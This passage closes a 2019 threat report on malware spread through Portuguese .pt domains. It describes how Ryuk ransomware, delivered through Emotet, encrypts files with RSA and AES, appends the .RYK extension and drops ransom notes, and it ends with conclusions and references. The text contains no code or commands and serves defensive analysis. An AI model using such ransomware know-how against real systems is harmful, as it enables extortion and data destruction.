The extension .RYK is added at the final of the encrypted files such as: file_name.docx.RYK.

Figure 42: The .RYK extension is added to the corrupted file.

Regarding the cryptographic algorithms, the ransomware uses RSA keys of 4096 + AES 256.

Each binary of the Ryuk was a different RSA key, and a decrypt tool is sent by operators when the
ransom is paid. The RSA key can be observed below.
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Figure 43: RSA key hardcoded in the PE file.

Finally, Ryuk drops the ransom note, RyukReadMe.html or RyukReadMe.txt, in every folder where
it has encrypted files.
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FINAL THOUGHTS
This report gives the first overview of malware operations within Portuguese cyberspace for Q1-Q4
2019. Although none of the 377 compromised domains identified was used as C2 by any of the
malware families identified, this study delivers a clean indicator that a high volume of Portuguese
domains (.pt TLD) were used by threat actors to spread the most recent waves of phishing and
malware. 

As  noted,  Professional  domains  were  the  most  affected  category  by  malware  during  Q1-Q4,
followed by the sectors: Personal, Retail and Industrial.

Most of the affected servers were available in Portugal, and many of them were running websites
underdevelopment or were abandoned by their owners, with known vulnerabilities available and
obsolete CMSs installed such as WordPress® and Joomla®.

Through this investigation, we confirmed that the decrease of compromised domains during June,
July and August is directly related to the absence of the major active threat around the globe - the
Emotet banking trojan.

Emotet has been using evasion techniques to evade antivirus detection, but the principle is the
same that has been observed over the years. Once again, in the Portuguese study samples, we
found an overlap with previous reports on Emotet around the world.

Last, but not least, Emotet dropped additional payloads creating destructive damage on targets. The
Ryuk  ransomware infects  the machine,  and it  encrypts  local  and  shared files.  However,  it  not
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spreading through the network as it does not have wormable capabilities. This drastically increases
the damage and the likelihood  that  the  victim will  be willing  to  pay the ransom.  This  piece of
ransomware is difficult to fight and it has no execution flaws known so far. The signature of each
binary is unique and an RSA key contained in the malware is used to encrypt the files from the
victim’ computers.

Take into consideration that Emotet and Ryuk are a growing threat and a real concern into 2020.
With Emotet in place, threat actors can easily destroy trust in business, ruin the reputation of a
brand, or compromise individuals.

REFERENCES

TA542 Brings Back Emotet with Late September Spike

https://www.darkreading.com/threat-intelligence/ta542-brings-back-emotet-with-late-september-spike/d/d-id/1336302

Malware Analysis – Emotet Resurgence and Evolution
https://www.kroll.com/en-ca/insights/publications/cyber/malware-analysis-emotet-resurgence-evolution

Triple Threat: Emotet deploys Trickbot to steal data & spread Ryuk
https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware

A one-two punch of Emotet, Trickbot, & Ryuk stealing & ransoming data
https://www.cybereason.com/blog/one-two-punch-emotet-trickbot-and-ryuk-steal-then-ransom-data

Threat Actor Profile: TA542, From Banker to Malware Distribution Service
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta542-banker-malware-distribution-service

Proofpoint Q3 2019 Threat Report — Emotet’s return, RATs reign supreme, and more
https://www.proofpoint.com/us/threat-insight/post/proofpoint-q3-2019-threat-report-emotets-return-rats-reign-supreme-and-more

Emotet malware has been spread via an email referring to Halloween
https://seguranca-informatica.pt/malware-emotet-tem-sido-disseminado-via-um-email-fazendo-referencia-ao-halloween

Emotet Trojan Evolves Since Being Reawakend, Here is What We Know
https://www.bleepingcomputer.com/news/security/emotet-trojan-evolves-since-being-reawakend-here-is-what-we-know/

Caution! Ryuk Ransomware decryptor damages larger files, even if you pay
https://blog.emsisoft.com/en/35023/bug-in-latest-ryuk-decryptor-may-cause-data-loss/

Greta Thunberg: Emotet’s Person of the Year
https://threatpost.com/greta-thunberg-emotet-person-of-the-year/151351/

42 - A LANDSCAPE OF MALWARE USED ON THE PORTUGUESE TOP LEVEL DOMAIN - THREAT REPORT AND EMOTET TRIPLE CHAIN ANALYSIS IN 2019 

https://blog.emsisoft.com/en/35023/bug-in-latest-ryuk-decryptor-may-cause-data-loss/
https://blog.emsisoft.com/en/35023/bug-in-latest-ryuk-decryptor-may-cause-data-loss/
https://www.bleepingcomputer.com/news/security/emotet-trojan-evolves-since-being-reawakend-here-is-what-we-know/
https://seguranca-informatica.pt/malware-emotet-tem-sido-disseminado-via-um-email-fazendo-referencia-ao-halloween
https://www.proofpoint.com/us/threat-insight/post/proofpoint-q3-2019-threat-report-emotets-return-rats-reign-supreme-and-more
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta542-banker-malware-distribution-service
https://www.cybereason.com/blog/one-two-punch-emotet-trickbot-and-ryuk-steal-then-ransom-data
https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware
https://www.darkreading.com/threat-intelligence/ta542-brings-back-emotet-with-late-september-spike/d/d-id/1336302
https://www.kroll.com/en-ca/insights/publications/cyber/malware-analysis-emotet-resurgence-evolution

